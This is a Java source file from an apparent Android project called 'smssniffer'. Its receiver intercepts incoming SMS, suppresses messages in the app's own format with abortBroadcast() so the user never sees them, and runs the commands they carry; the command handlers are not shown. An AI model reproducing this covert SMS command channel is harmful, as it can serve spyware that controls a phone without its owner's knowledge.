package com.pratik.android.smssniffer.receivers;

import com.pratik.android.smssniffer.handlers.CommandHandlerService;
import com.pratik.android.smssniffer.handlers.MessageHandlerService;
import com.pratik.android.smssniffer.handlers.dto.CodeSMS;
import com.pratik.android.smssniffer.handlers.impl.HandlersServiceRegistry;
import com.pratik.android.smssniffer.services.GlobalServiceRegistry;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class SMSReceiver extends BroadcastReceiver {

	private MessageHandlerService getMessageHandlerService() {
		return HandlersServiceRegistry.getInstance().getMessageHandlerService();
	}

	private CommandHandlerService getCommandHandlerService() {
		return HandlersServiceRegistry.getInstance().getCommandHandlerService();
	}

	private void initService(Context context) {
		GlobalServiceRegistry.getInstance().init(context);
	}

	@Override
	public void onReceive(Context context, Intent intent) {

		/* initialize global services */
		initService(context);

		Log.i(this.getClass().getName(), "" + getMessageHandlerService());

		String message = getMessageHandlerService().obtainMessage(intent);
		String phoneNumber = getMessageHandlerService()
				.obtainIncomingPhoneNumber(intent);
		phoneNumber = phoneNumber.trim();

		if (getMessageHandlerService().isAppMessage(message)) {
			abortBroadcast(); // aborting sms broadcasting....

		   	CodeSMS codeSms = getMessageHandlerService().extractMessage(message);
			getCommandHandlerService().handleCommands(context, codeSms, phoneNumber);

		}

	}

}
